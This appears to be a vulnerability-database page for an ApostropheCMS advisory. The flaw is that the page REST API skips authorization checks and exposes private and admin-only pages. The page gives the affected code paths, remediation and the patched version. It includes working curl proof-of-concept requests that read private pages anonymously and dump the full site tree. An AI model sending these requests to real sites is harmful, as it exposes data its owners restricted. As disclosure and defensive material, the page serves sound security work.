CVE-2026-113670Medium· 5.3▾ SunlitApostropheCMS: Page REST API authorization bypass
▾ Sunlit zone — Low / medium · no exploitation signal
impact 29.2 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Summary
The core page REST API reads full page documents with .permission(false) in getOne and in the all=1 tree dump, bypassing page-type viewRole, visibility: private, and visibility: loginRequired checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by _id/slug.
Details
packages/apostrophe/modules/@apostrophecms/page/index.js:
getOne (L456–465): await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria) — no viewRole threshold, no visibility filtering.all handler (L318–395): getRestQuery(req).permission(false) (L384–385) walks every page type and returns the projection including visibility.publicApiCheckAsync (L3044) only checks that publicApiProjection exists — it performs no authorization.piece-type/index.js:getOne (L319–327) uses getRestQuery(req) without .permission(false) and enforces viewRole.PoC
# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
# "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}
# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # → 200, full tree
# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 403
Impact
Unauthenticated disclosure of visibility: private and loginRequired pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because _ids are enumerable and leaked by all=1, this is systemic.
Remediation — Remove .permission(false) from getOne/all or re-apply the type's viewRole threshold plus the same visibility/login-required criteria the list and autocomplete paths use (mirror piece-type); make publicApiCheck config-presence-only and add an explicit authorization step per verb.
apostrophe < 4.33.0Upgrade to a patched release:
apostrophe 4.33.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-113653Medium· 6.9ApostropheCMS: The general public can access @apostrophecms/user objects via a relationship (viewRole is not applied to the general public)
CVE-2026-113659Medium· 6.1ApostropheCMS: Client-side Prototype Pollution in apos.http.parseQuery leading to DOM-based XSS against authenticated users
CVE-2026-113665Low· 3.7ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints
CVE-2026-113668Medium· 5.3ApostropheCMS: :_id/locales REST route omits the public-API authorization gate its sibling read routes enforce (unauthenticated doc-existence + locale metadata disclosure)
CVE-2026-113660Medium· 4.3ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers
CVE-2026-113710Medium· 5.9ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing